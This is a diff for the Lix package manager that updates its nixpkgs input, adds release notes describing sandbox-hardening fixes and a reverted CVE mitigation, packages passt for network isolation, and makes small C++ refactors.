Enable nixpkgsLibTests again

The required nixpkgs bumps have now been performed. Change-Id: I6a6a6964316f8434c355405c52b0a7b7f70b4332
flake: update nixpkgs input
2025-09-08 20:26:44 +02:00 · 2025-09-08 20:26:44 +02:00 · 2025-09-08 20:26:44 +02:00 · 2025-09-08 19:18:09 +02:00 · 2025-09-08 19:18:09 +02:00 · 2025-09-08 19:17:29 +02:00
69 changed files with 968 additions and 499 deletions
@@ -16,6 +16,8 @@ Checks:
  - -bugprone-unchecked-optional-access
    # many warnings, seems like a questionable lint
  - -bugprone-branch-clone
+    # extremely noisy before clang 19: https://github.com/llvm/llvm-project/issues/93959
+  - -bugprone-multi-level-implicit-pointer-conversion
    # all thrown exceptions must derive from std::exception
  - hicpp-exception-baseclass
    # capturing async lambdas are dangerous
@@ -33,3 +35,4 @@ Checks:

 CheckOptions:
  bugprone-reserved-identifier.AllowedIdentifiers: '__asan_default_options'
+  bugprone-unused-return-value.AllowCastToVoid: true
@@ -1,4 +1,102 @@
 # Lix 2.91 "Dragon's Breath" (2024-08-12)
+# Lix 2.91.3 (2025-06-30)
+
+## Fixes
+- Revert CVE-2025-52992 failed mitigation [fj#883](https://git.lix.systems/lix-project/lix/issues/883) [fj#887](https://git.lix.systems/lix-project/lix/issues/887) [cl/3420](https://gerrit.lix.systems/c/lix/+/3420) [cl/3524](https://gerrit.lix.systems/c/lix/+/3524) [cl/3523](https://gerrit.lix.systems/c/lix/+/3523) [cl/3522](https://gerrit.lix.systems/c/lix/+/3522)
+
+  Following the initial mitigation of **CVE-2025-52992** in `cl/3420`, we
+  received reports of **unexpected deletion of in-use store paths**.
+
+  Upon investigation, we found that the patch did **not correctly cancel all
+  automatic deleters**, resulting in potentially critical path loss during normal
+  operation.
+
+  Given the severity and time-sensitive nature of the situation ([see incident
+  report](https://lix.systems/blog/2025-06-27-lix-critical-bug/)), we evaluated
+  possible options to repair the behavior safely. However, we concluded that a
+  rushed fix would either:
+
+  * **Overdelete**, i.e. breaking running systems, or,
+  * **Underdelete**, effectively **reopening CVE-2025-52992** while leaving
+    orphaned paths behind.
+
+  As **CVE-2025-52992 has no known exploit vector**, and correctness is critical
+  in the Lix project, we have **fully reverted the previous mitigations**.
+
+  Moving forward, the Lix team will rework this code path in a **long-term,
+  correctness-first fix** on the main branch. We will explore backporting it to
+  stable channels once its safety is assured.
+
+  We are deeply sorry for the stability incident and the Lix team remain
+  available for assisting you in recovering your systems.
+
+  Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
+- Fallback to safe temp dir when build-dir is unwritable [fj#876](https://git.lix.systems/lix-project/lix/issues/876) [cl/3502](https://gerrit.lix.systems/c/lix/+/3502)
+
+  Non-daemon builds started failing with a permission error after introducing the `build-dir` option:
+
+  ```
+  $ nix build --store ~/scratch nixpkgs#hello --rebuild
+  error: creating directory '/nix/var/nix/builds/nix-build-hello-2.12.2.drv-0': Permission denied
+  ```
+
+  This happens because:
+
+  1. These builds are not run via the daemon, which owns `/nix/var/nix/builds`.
+  2. The user lacks permissions for that path.
+
+  We considered making `build-dir` a store-level option and defaulting it to `<chroot-root>/nix/var/nix/builds` for chroot stores, but opted instead for a fallback: if the default fails, Nix now creates a safe build directory under `/tmp`.
+
+  To avoid CVE-2025-52991, the fallback uses an extra path component between `/tmp` and the build dir.
+
+  **Note**: this fallback clutters `/tmp` with build directories that are not cleaned up. To prevent this, explicitly set `build-dir` to a path managed by Lix, even for local workloads.
+
+  Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
+
+
+# Lix 2.91.2 (2025-06-23)
+
+## Breaking Changes
+- Fixed output derivations can be run using `pasta` network isolation [fj#285](https://git.lix.systems/lix-project/lix/issues/285) [cl/3418](https://gerrit.lix.systems/c/lix/+/3418)
+
+  Fixed output derivations traditionally run in the host network namespace.
+  On Linux this allows such derivations to communicate with other sandboxes
+  or the host using the abstract Unix domains socket namespace; this hasn't
+  been unproblematic in the past and has been used in two distinct exploits
+  to break out of the sandbox. For this reason fixed output derivations can
+  now run in a network namespace (provided by [`pasta`]), restricted to TCP
+  and UDP communication with the rest of the world. When enabled this could
+  be a breaking change and we classify it as such, even though we don't yet
+  enable or require such isolation by default. We may enforce this in later
+  releases of Lix once we have sufficient confidence that breakage is rare.
+
+  [`pasta`]: https://passt.top/
+
+  Many thanks to [eldritch horrors](https://git.lix.systems/pennae) and [puck](https://git.lix.systems/puck) for this.
+
+## Fixes
+- Always clean up scratch paths after derivations failed to build [cl/3420](https://gerrit.lix.systems/c/lix/+/3420)
+
+  Previously, scratch paths created during builds were not always cleaned up if
+  the derivation failed, potentially leaving behind unnecessary temporary files
+  or directories in the Nix store.
+
+  This fix ensures that such paths are consistently removed after a failed build,
+  improving Nix store hygiene, hardening Lix against mis-reuse of failed builds
+  scratch paths.
+
+  Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
+- `build-dir` no longer defaults to `temp-dir` [cl/3419](https://gerrit.lix.systems/c/lix/+/3419)
+
+  The directory in which temporary build directories are created no longer defaults
+  to the value of the `temp-dir` setting to avoid builders making their directories
+  world-accessible. This behavior has been used to escape the build sandbox and can
+  cause build impurities even when not used maliciously. We now default to `builds`
+  in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration).
+
+  Many thanks to [eldritch horrors](https://git.lix.systems/pennae) for this.
+
+
 # Lix 2.91.1 (2024-10-18)

 ## Fixes
@@ -62,38 +62,37 @@ let
    ++ autoLayered
    ++ extraPkgs;

-  users =
-    {
+  users = {

-      root = {
-        uid = 0;
-        shell = "${pkgs.bashInteractive}/bin/bash";
-        home = "/root";
-        gid = 0;
-        groups = [ "root" ];
-        description = "System administrator";
-      };
+    root = {
+      uid = 0;
+      shell = "${pkgs.bashInteractive}/bin/bash";
+      home = "/root";
+      gid = 0;
+      groups = [ "root" ];
+      description = "System administrator";
+    };

-      nobody = {
-        uid = 65534;
-        shell = "${pkgs.shadow}/bin/nologin";
-        home = "/var/empty";
-        gid = 65534;
-        groups = [ "nobody" ];
-        description = "Unprivileged account (don't use!)";
+    nobody = {
+      uid = 65534;
+      shell = "${pkgs.shadow}/bin/nologin";
+      home = "/var/empty";
+      gid = 65534;
+      groups = [ "nobody" ];
+      description = "Unprivileged account (don't use!)";
+    };
+  }
+  // lib.listToAttrs (
+    map (n: {
+      name = "nixbld${toString n}";
+      value = {
+        uid = 30000 + n;
+        gid = 30000;
+        groups = [ "nixbld" ];
+        description = "Nix build user ${toString n}";
      };
-    }
-    // lib.listToAttrs (
-      map (n: {
-        name = "nixbld${toString n}";
-        value = {
-          uid = 30000 + n;
-          gid = 30000;
-          groups = [ "nixbld" ];
-          description = "Nix build user ${toString n}";
-        };
-      }) (lib.lists.range 1 32)
-    );
+    }) (lib.lists.range 1 32)
+  );

  groups = {
    root.gid = 0;
@@ -193,13 +192,11 @@ let
            in
            ''
              {
-                ${
-                  lib.concatStringsSep "\n" (
-                    builtins.map (output: ''
-                      ${output} = { outPath = "${lib.getOutput output drv}"; };
-                    '') outputs
-                  )
-                }
+                ${lib.concatStringsSep "\n" (
+                  builtins.map (output: ''
+                    ${output} = { outPath = "${lib.getOutput output drv}"; };
+                  '') outputs
+                )}
                outputs = [ ${lib.concatStringsSep " " (builtins.map (x: "\"${x}\"") outputs)} ];
                name = "${drv.name}";
                outPath = "${drv}";
@@ -361,8 +358,10 @@ let
        "org.opencontainers.image.source" = "https://git.lix.systems/lix-project/lix";
        "org.opencontainers.image.vendor" = "Lix project";
        "org.opencontainers.image.version" = pkgs.nix.version;
-        "org.opencontainers.image.description" = "Minimal Lix container image, with some batteries included.";
-      } // lib.optionalAttrs (lixRevision != null) { "org.opencontainers.image.revision" = lixRevision; };
+        "org.opencontainers.image.description" =
+          "Minimal Lix container image, with some batteries included.";
+      }
+      // lib.optionalAttrs (lixRevision != null) { "org.opencontainers.image.revision" = lixRevision; };
    };

    meta = {
@@ -16,14 +16,30 @@
        "type": "github"
      }
    },
+    "lowdown-src": {
+      "flake": false,
+      "locked": {
+        "lastModified": 1633514407,
+        "narHash": "sha256-Dw32tiMjdK9t3ETl5fzGrutQTzh2rufgZV4A/BbxuD4=",
+        "owner": "kristapsdz",
+        "repo": "lowdown",
+        "rev": "d2c2b44ff6c27b936ec27358a2653caaef8f73b8",
+        "type": "github"
+      },
+      "original": {
+        "owner": "kristapsdz",
+        "repo": "lowdown",
+        "type": "github"
+      }
+    },
    "nix2container": {
      "flake": false,
      "locked": {
-        "lastModified": 1720642556,
-        "narHash": "sha256-qsnqk13UmREKmRT7c8hEnz26X3GFFyIQrqx4EaRc1Is=",
+        "lastModified": 1749158376,
+        "narHash": "sha256-uirStFNxauh0lxzBowcp28X+Sq7JgsBIDnbwbAfZwf8=",
        "owner": "nlewo",
        "repo": "nix2container",
-        "rev": "3853e5caf9ad24103b13aa6e0e8bcebb47649fe4",
+        "rev": "0f8974c58755dba441df03598eefd1e1cd50e341",
        "type": "github"
      },
      "original": {
@@ -32,18 +48,44 @@
        "type": "github"
      }
    },
-    "nixpkgs": {
+    "nix_2_18": {
+      "inputs": {
+        "flake-compat": [
+          "flake-compat"
+        ],
+        "lowdown-src": "lowdown-src",
+        "nixpkgs": "nixpkgs",
+        "nixpkgs-regression": [
+          "nixpkgs-regression"
+        ]
+      },
      "locked": {
-        "lastModified": 1721931987,
-        "narHash": "sha256-1Zg8LY0T5EfXtv0Kf4M6SFnjH7Eto4VV+EKJ/YSnhiI=",
+        "lastModified": 1730375271,
+        "narHash": "sha256-RrOFlDGmRXcVRV2p2HqHGqvzGNyWoD0Dado/BNlJ1SI=",
        "owner": "NixOS",
-        "repo": "nixpkgs",
-        "rev": "e21630230c77140bc6478a21cd71e8bb73706fce",
+        "repo": "nix",
+        "rev": "0f665ff6779454f2117dcc32e44380cda7f45523",
        "type": "github"
      },
      "original": {
        "owner": "NixOS",
-        "ref": "nixos-24.05-small",
+        "ref": "2.18.9",
+        "repo": "nix",
+        "type": "github"
+      }
+    },
+    "nixpkgs": {
+      "locked": {
+        "lastModified": 1705033721,
+        "narHash": "sha256-K5eJHmL1/kev6WuqyqqbS1cdNnSidIZ3jeqJ7GbrYnQ=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "a1982c92d8980a0114372973cbdfe0a307f1bdea",
+        "type": "github"
+      },
+      "original": {
+        "owner": "NixOS",
+        "ref": "nixos-23.05-small",
        "repo": "nixpkgs",
        "type": "github"
      }
@@ -64,14 +106,30 @@
        "type": "github"
      }
    },
+    "nixpkgs_2": {
+      "locked": {
+        "lastModified": 1757198069,
+        "narHash": "sha256-m3VUcOD4rTs8J7S+3dOjWMrAjw6RcITC3XYQ98zhEFs=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "0747026fc57ecb9c28901c7f7a2b5dc40e8af43c",
+        "type": "github"
+      },
+      "original": {
+        "owner": "NixOS",
+        "ref": "nixos-25.05-small",
+        "repo": "nixpkgs",
+        "type": "github"
+      }
+    },
    "pre-commit-hooks": {
      "flake": false,
      "locked": {
-        "lastModified": 1721042469,
-        "narHash": "sha256-6FPUl7HVtvRHCCBQne7Ylp4p+dpP3P/OYuzjztZ4s70=",
+        "lastModified": 1733318908,
+        "narHash": "sha256-SVQVsbafSM1dJ4fpgyBqLZ+Lft+jcQuMtEL3lQWx2Sk=",
        "owner": "cachix",
        "repo": "git-hooks.nix",
-        "rev": "f451c19376071a90d8c58ab1a953c6e9840527fd",
+        "rev": "6f4e2a2112050951a314d2733a994fbab94864c6",
        "type": "github"
      },
      "original": {
@@ -84,7 +142,8 @@
      "inputs": {
        "flake-compat": "flake-compat",
        "nix2container": "nix2container",
-        "nixpkgs": "nixpkgs",
+        "nix_2_18": "nix_2_18",
+        "nixpkgs": "nixpkgs_2",
        "nixpkgs-regression": "nixpkgs-regression",
        "pre-commit-hooks": "pre-commit-hooks"
      }
@@ -2,8 +2,19 @@
  description = "Lix: A modern, delicious implementation of the Nix package manager";

  inputs = {
-    nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05-small";
+    nixpkgs.url = "github:NixOS/nixpkgs/nixos-25.05-small";
    nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2";
+
+    # Required because Nix 2.18 is not in Nixpkgs ≥ 25.05 anymore.
+    nix_2_18 = {
+      url = "github:NixOS/nix/2.18.9";
+      # NOTE(Raito): this is not possible because patches on libseccomp does not apply anymore on this Nix.
+      # Let's keep the latest known nixpkgs useable with Nix 2.18 for our tests.
+      # inputs.nixpkgs.follows = "nixpkgs";
+      inputs.nixpkgs-regression.follows = "nixpkgs-regression";
+      inputs.flake-compat.follows = "flake-compat";
+    };
+
    pre-commit-hooks = {
      url = "github:cachix/git-hooks.nix";
      flake = false;
@@ -25,6 +36,7 @@
      nixpkgs-regression,
      pre-commit-hooks,
      nix2container,
+      nix_2_18,
      flake-compat,
    }:

@@ -161,6 +173,16 @@
        {
          nixStable = prev.nix;

+          nixVersions = prev.nixVersions // {
+            nix_2_3 = prev.nixVersions.nix_2_3.overrideAttrs (old: {
+              meta = old.meta // {
+                knownVulnerabilities = [ ];
+              };
+            });
+            # Nix 2.18 has been removed from Nixpkgs ≥ 25.05, so we need to reintroduce it ourselves for our tests.
+            nix_2_18 = nix_2_18.outputs.packages.${currentStdenv.hostPlatform.system}.default;
+          };
+
          # Forward from the previous stage as we don’t want it to pick the lowdown override
          nixUnstable = prev.nixUnstable;

@@ -346,13 +368,16 @@
            in
            pkgs.symlinkJoin {
              name = "nixpkgs-lib-tests";
-              paths =
-                [ testWithNix ]
-                # FIXME: This is disabled on darwin due to a nixpkgs bug https://github.com/NixOS/nixpkgs/issues/319147
-                # After that is fixed, it should be restored to use lib/tests/release.nix as before, rather than this reimplementation.
-                ++ lib.optionals pkgs.stdenv.isLinux [
-                  (import (nixpkgs + "/pkgs/test/release") { inherit pkgs lib nix; })
-                ];
+              paths = [
+                testWithNix
+              ]
+              # NOTE: nixpkgs 25.05 is being ... *creative*, and requires this dance to override
+              # the evaluator used for the test. it will break again in the future, don't worry.
+              ++ lib.optionals pkgs.stdenv.isLinux [
+                ((pkgs.callPackage "${nixpkgs}/ci/eval" { inherit nix; }).attrpathsSuperset {
+                  evalSystem = system;
+                })
+              ];
            }
          );
        };
@@ -301,6 +301,11 @@ editline = dependency('libeditline', 'editline', version : '>=1.14', required :

 lowdown = dependency('lowdown', version : '>=0.9.0', required : true, include_type : 'system')

+# TODO(sterni): drop the corresponding #ifdef after NixOS 25.05 is EOL which still distributes lowdown < 1.4.0
+if lowdown.version().version_compare('>= 1.4.0')
+  add_project_arguments('-DLOWDOWN_SEPARATE_TERM_OPTS', language: 'cpp')
+endif
+
 # HACK(Qyriad): rapidcheck's pkg-config doesn't include the libs lol
 # Note: technically we 'check' for rapidcheck twice, for the internal-api-docs handling above,
 # but Meson will cache the result of the first one, and the required : arguments are different.
@@ -376,6 +381,13 @@ endif
 # FIXME(Qyriad): the autoconf system checks that busybox has the "standalone" feature, indicating
 # that busybox sh won't run busybox applets as builtins (which would break our sandbox).

+pasta_path = get_option('pasta-path')
+# we can't check the pasta version because passt misuses stdio (it calls _exit()
+# after printing the version, which will never print the version unless run from
+# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential.
+# we *will* enable it in our own packaging, but distributions are not forced to.
+pasta = find_program(pasta_path, required : false, native : false)
+
 lsof = find_program('lsof', native : true)

 # This is how Nix does generated headers...
@@ -468,6 +480,7 @@ add_project_arguments(
  # It would be nice for our headers to be idempotent instead.
  '-include', 'config.h',
  '-Wno-deprecated-declarations',
+  '-Wno-missing-field-initializers',
  '-Wimplicit-fallthrough',
  '-Werror=switch',
  '-Werror=switch-enum',
@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox',
  description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
 )

+option('pasta-path', type : 'string', value : 'pasta',
+  description : 'path to the location of pasta (provided by passt)',
+)
+
 option('enable-tests', type : 'boolean', value : true,
  description : 'whether to enable tests or not (requires rapidcheck and gtest)',
 )
@@ -0,0 +1,60 @@
+{
+  lib,
+  stdenv,
+  buildPackages,
+  fetchurl,
+  getconf,
+  gitUpdater,
+  testers,
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "passt";
+  version = "2025_02_17.a1e48a0";
+
+  src = fetchurl {
+    url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz";
+    hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE=";
+  };
+
+  postPatch = ''
+    substituteInPlace Makefile --replace-fail \
+      'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \
+      "PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)"
+  '';
+
+  makeFlags = [
+    "prefix=${placeholder "out"}"
+    "VERSION=${finalAttrs.version}"
+  ];
+
+  passthru = {
+    tests.version = testers.testVersion { package = finalAttrs.finalPackage; };
+
+    updateScript = gitUpdater { url = "https://passt.top/passt"; };
+  };
+
+  meta = with lib; {
+    homepage = "https://passt.top/passt/about/";
+    description = "Plug A Simple Socket Transport";
+    longDescription = ''
+      passt implements a translation layer between a Layer-2 network interface
+      and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host.
+      It doesn't require any capabilities or privileges, and it can be used as
+      a simple replacement for Slirp.
+
+      pasta (same binary as passt, different command) offers equivalent
+      functionality, for network namespaces: traffic is forwarded using a tap
+      interface inside the namespace, without the need to create further
+      interfaces on the host, hence not requiring any capabilities or
+      privileges.
+    '';
+    license = [
+      licenses.bsd3 # and
+      licenses.gpl2Plus
+    ];
+    platforms = platforms.linux;
+    maintainers = with maintainers; [ _8aed ];
+    mainProgram = "passt";
+  };
+})
@@ -1 +1,2 @@
-d @localstatedir@/nix/daemon-socket 0755 root root - -
+d @localstatedir@/nix/daemon-socket 0755 root root -  -
+d @localstatedir@/nix/builds        0755 root root 7d -
@@ -39,6 +39,8 @@
  meson,
  ninja,
  openssl,
+  # FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later
+  passt-lix ? __forDefaults.passt-lix,
  pegtl,
  pkg-config,
  python3,
@@ -87,6 +89,8 @@

    lix-doc = callPackage ./lix-doc/package.nix { };
    build-release-notes = callPackage ./maintainers/build-release-notes.nix { };
+
+    passt-lix = callPackage ./misc/passt.nix { };
  },
 }:
 let
@@ -175,12 +179,13 @@ stdenv.mkDerivation (finalAttrs: {

  VERSION_SUFFIX = versionSuffix;

-  outputs =
-    [ "out" ]
-    ++ lib.optionals (!finalAttrs.dontBuild) [
-      "dev"
-      "doc"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals (!finalAttrs.dontBuild) [
+    "dev"
+    "doc"
+  ];

  dontBuild = lintInsteadOfBuild;

@@ -195,6 +200,7 @@ stdenv.mkDerivation (finalAttrs: {
      # which don't actually get added to PATH. And buildInputs is correct over
      # nativeBuildInputs since this should be a busybox executable on the host.
      "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}"
+      "-Dpasta-path=${lib.getExe' passt-lix "pasta"}"
    ]
    ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true"
    ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false"
@@ -215,66 +221,65 @@ stdenv.mkDerivation (finalAttrs: {
  # We only include CMake so that Meson can locate toml11, which only ships CMake dependency metadata.
  dontUseCmakeConfigure = true;

-  nativeBuildInputs =
-    [
-      python3
-      meson
-      ninja
-      cmake
-    ]
-    ++ [
-      (lib.getBin lowdown-unsandboxed)
-      mdbook
-      mdbook-linkcheck
-    ]
-    ++ [
-      pkg-config
+  nativeBuildInputs = [
+    python3
+    meson
+    ninja
+    cmake
+  ]
+  ++ [
+    (lib.getBin lowdown-unsandboxed)
+    mdbook
+    mdbook-linkcheck
+  ]
+  ++ [
+    pkg-config

-      # Tests
-      git
-      mercurial
-      jq
-      lsof
-    ]
-    ++ lib.optional hostPlatform.isLinux util-linuxMinimal
-    ++ lib.optional (!officialRelease && buildUnreleasedNotes) build-release-notes
-    ++ lib.optional internalApiDocs doxygen
-    ++ lib.optionals lintInsteadOfBuild [
-      # required for a wrapped clang-tidy
-      llvmPackages.clang-tools
-      # required for run-clang-tidy
-      llvmPackages.clang-unwrapped
-    ];
+    # Tests
+    git
+    mercurial
+    jq
+    lsof
+  ]
+  ++ lib.optional hostPlatform.isLinux util-linuxMinimal
+  ++ lib.optional (!officialRelease && buildUnreleasedNotes) build-release-notes
+  ++ lib.optional internalApiDocs doxygen
+  ++ lib.optionals lintInsteadOfBuild [
+    # required for a wrapped clang-tidy
+    llvmPackages.clang-tools
+    # required for run-clang-tidy
+    llvmPackages.clang-unwrapped
+  ];

-  buildInputs =
-    [
-      curl
-      bzip2
-      xz
-      brotli
-      editline-lix
-      openssl
-      sqlite
-      libarchive
-      boost
-      lowdown
-      libsodium
-      toml11
-      lix-doc
-      pegtl
-    ]
-    ++ lib.optionals hostPlatform.isLinux [
-      libseccomp
-      busybox-sandbox-shell
-    ]
-    ++ lib.optional internalApiDocs rapidcheck
-    ++ lib.optional hostPlatform.isx86_64 libcpuid
-    # There have been issues building these dependencies
-    ++ lib.optional (hostPlatform.canExecute buildPlatform) aws-sdk-cpp-nix
-    ++ lib.optionals (finalAttrs.dontBuild) maybePropagatedInputs
-    # I am so sorry. This is because checkInputs are required to pass
-    # configure, but we don't actually want to *run* the checks here.
-    ++ lib.optionals lintInsteadOfBuild finalAttrs.checkInputs;
+  buildInputs = [
+    curl
+    bzip2
+    xz
+    brotli
+    editline-lix
+    openssl
+    sqlite
+    libarchive
+    boost
+    lowdown
+    libsodium
+    toml11
+    lix-doc
+    pegtl
+  ]
+  ++ lib.optionals hostPlatform.isLinux [
+    libseccomp
+    busybox-sandbox-shell
+    passt-lix
+  ]
+  ++ lib.optional internalApiDocs rapidcheck
+  ++ lib.optional hostPlatform.isx86_64 libcpuid
+  # There have been issues building these dependencies
+  ++ lib.optional (hostPlatform.canExecute buildPlatform) aws-sdk-cpp-nix
+  ++ lib.optionals (finalAttrs.dontBuild) maybePropagatedInputs
+  # I am so sorry. This is because checkInputs are required to pass
+  # configure, but we don't actually want to *run* the checks here.
+  ++ lib.optionals lintInsteadOfBuild finalAttrs.checkInputs;

  checkInputs = [
    gtest
@@ -421,7 +426,6 @@ stdenv.mkDerivation (finalAttrs: {
        just,
        nixfmt-rfc-style,
        skopeo,
-        xonsh,

        # Lix specific packages
        pre-commit-checks,
@@ -441,7 +445,7 @@ stdenv.mkDerivation (finalAttrs: {
            p.requests
            p.xdg-base-dirs
            p.packaging
-            (p.toPythonModule xonsh.passthru.unwrapped)
+            p.xonsh
          ]
        );
        pythonEnv = python3.withPackages pythonPackages;
@@ -35,19 +35,18 @@ perl.pkgs.toPerlModule (
      ninja
    ];

-    buildInputs =
-      [
-        nix
-        curl
-        bzip2
-        xz
-        perl
-        boost
-        perlPackages.DBI
-        perlPackages.DBDSQLite
-      ]
-      ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
-      ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
+    buildInputs = [
+      nix
+      curl
+      bzip2
+      xz
+      perl
+      boost
+      perlPackages.DBI
+      perlPackages.DBDSQLite
+    ]
+    ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
+    ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;

    # Nixpkgs' Meson hook likes to set this to "plain".
    mesonBuildType = "debugoptimized";
@@ -19,10 +19,7 @@ endif

 cxx = meson.get_compiler('cpp')

-# Really version 5.8.0, but Perl's version string is of the form
-# "This is perl 5, version 38, subversion 2", for 5.38.2, so as far
-# as Meson is concerned, the version of Perl we need is 8 or greater.
-perl = find_program('perl', version : '>=8')
+perl = find_program('perl')

 # "compiler to convert Perl XS code into C code"
 xsubpp = find_program('xsubpp')
@@ -11,13 +11,28 @@ namespace nix {
 std::string renderMarkdownToTerminal(std::string_view markdown)
 {
    int windowWidth = getWindowSize().second;
+    size_t lowdown_cols = std::max(windowWidth - 5, 60);

-    struct lowdown_opts opts {
+    struct lowdown_opts opts{
        .type = LOWDOWN_TERM,
+#ifdef LOWDOWN_SEPARATE_TERM_OPTS
+        .term =
+            {
+                .cols = lowdown_cols,
+                .width = 0,
+                .hmargin = 0,
+                .hpadding = 4,
+                .vmargin = 0,
+                .centre = 0,
+            },
+        // maxdepth needs to be part of the ifdefs to match declaration order
        .maxdepth = 20,
-        .cols = (size_t) std::max(windowWidth - 5, 60),
+#else
+        .maxdepth = 20,
+        .cols = lowdown_cols,
        .hmargin = 0,
        .vmargin = 0,
+#endif /* LOWDOWN_SEPARATE_TERM_OPTS */
        .feat = LOWDOWN_COMMONMARK | LOWDOWN_FENCED | LOWDOWN_DEFLIST | LOWDOWN_TABLES,
        .oflags = LOWDOWN_TERM_NOLINK,
    };
@@ -251,7 +251,7 @@ void runNix(Path program, const Strings & args)
        .program = settings.nixBinDir+ "/" + program,
        .args = args,
        .environment = subprocessEnv,
-    }).wait();
+    }).waitAndCheck();

    return;
 }
@@ -650,7 +650,7 @@ ProcessLineResult NixRepl::processLine(std::string line)

        // runProgram redirects stdout to a StringSink,
        // using runProgram2 to allow editors to display their UI
-        runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait();
+        runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck();

        // Reload right after exiting the editor if path is not in store
        // Store is immutable, so there could be no changes, so there's no need to reload
@@ -129,7 +129,6 @@ std::pair<SourcePath, uint32_t> findPackageFilename(EvalState & state, Value & v
    try {
        auto colon = fn.rfind(':');
        if (colon == std::string::npos) fail();
-        std::string filename(fn, 0, colon);
        auto lineno = std::stoi(std::string(fn, colon + 1, std::string::npos));
        return {CanonPath(fn.substr(0, colon)), lineno};
    } catch (std::invalid_argument & e) {
@@ -212,7 +212,7 @@ struct ExprAttrs : Expr
        AttrDef() { };

        template<typename T>
-        const T & chooseByKind(const T & plain, const T & inherited, const T & inheritedFrom) const
+        T chooseByKind(const T & plain, const T & inherited, const T & inheritedFrom) const
        {
            switch (kind) {
            case Kind::Plain:
@@ -624,10 +624,13 @@ struct nothing : p::nothing<Rule> {
    static_assert(!std::is_base_of_v<semantic, Rule>);
 };

-
-
 template<typename Self, typename OpCtx, typename AttrPathT, typename ExprT>
-struct operator_semantics {
+struct operator_semantics
+{
+private:
+    operator_semantics() = default;
+    friend Self;
+public:
    struct has_attr : grammar::op::has_attr {
        AttrPathT path;
    };
@@ -250,9 +250,7 @@ std::optional<Hash> Input::getNarHash() const

 std::optional<std::string> Input::getRef() const
 {
-    if (auto s = maybeGetStrAttr(attrs, "ref"))
-        return *s;
-    return {};
+    return maybeGetStrAttr(attrs, "ref");
 }

 std::optional<Hash> Input::getRev() const
@@ -273,16 +271,12 @@ std::optional<Hash> Input::getRev() const

 std::optional<uint64_t> Input::getRevCount() const
 {
-    if (auto n = maybeGetIntAttr(attrs, "revCount"))
-        return *n;
-    return {};
+    return maybeGetIntAttr(attrs, "revCount");
 }

 std::optional<time_t> Input::getLastModified() const
 {
-    if (auto n = maybeGetIntAttr(attrs, "lastModified"))
-        return *n;
-    return {};
+    return maybeGetIntAttr(attrs, "lastModified");
 }

 ParsedURL InputScheme::toURL(const Input & input) const
@@ -17,6 +17,7 @@
 #include <string.h>
 #include <sys/time.h>
 #include <sys/wait.h>
+#include <unistd.h>

 using namespace std::string_literals;

@@ -129,7 +130,7 @@ std::optional<std::string> readHeadCached(const std::string & actualUrl)
        // This function must behave the same way, so we return the expired
        // cached ref here.
        warn("could not get HEAD ref for repository '%s'; using expired cached ref '%s'", actualUrl, *cachedRef);
-        return *cachedRef;
+        return cachedRef;
    }

    return std::nullopt;
@@ -163,7 +164,7 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir)
        .program = "git",
        .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" },
        .environment = env,
-        .mergeStderrToStdout = true
+        .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
    });
    auto exitCode = WEXITSTATUS(result.first);
    auto errorMessage = result.second;
@@ -625,7 +626,7 @@ struct GitInputScheme : InputScheme
        auto result = runProgram(RunOptions {
            .program = "git",
            .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() },
-            .mergeStderrToStdout = true
+            .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
        });
        if (WEXITSTATUS(result.first) == 128
            && result.second.find("bad file") != std::string::npos)
@@ -690,7 +691,7 @@ struct GitInputScheme : InputScheme
                .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() },
                .captureStdout = true,
            });
-            Finally const _wait([&] { proc.wait(); });
+            Finally const _wait([&] { proc.waitAndCheck(); });

            unpackTarfile(*proc.getStdout(), tmpDir);
        }
@@ -917,9 +917,9 @@ void runPostBuildHook(
        .program = settings.postBuildHook,
        .environment = hookEnvironment,
        .captureStdout = true,
-        .mergeStderrToStdout = true,
+        .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
    });
-    Finally const _wait([&] { proc.wait(); });
+    Finally const _wait([&] { proc.waitAndCheck(); });

    // FIXME just process the data, without a wrapper sink class
    proc.getStdout()->drainInto(sink);
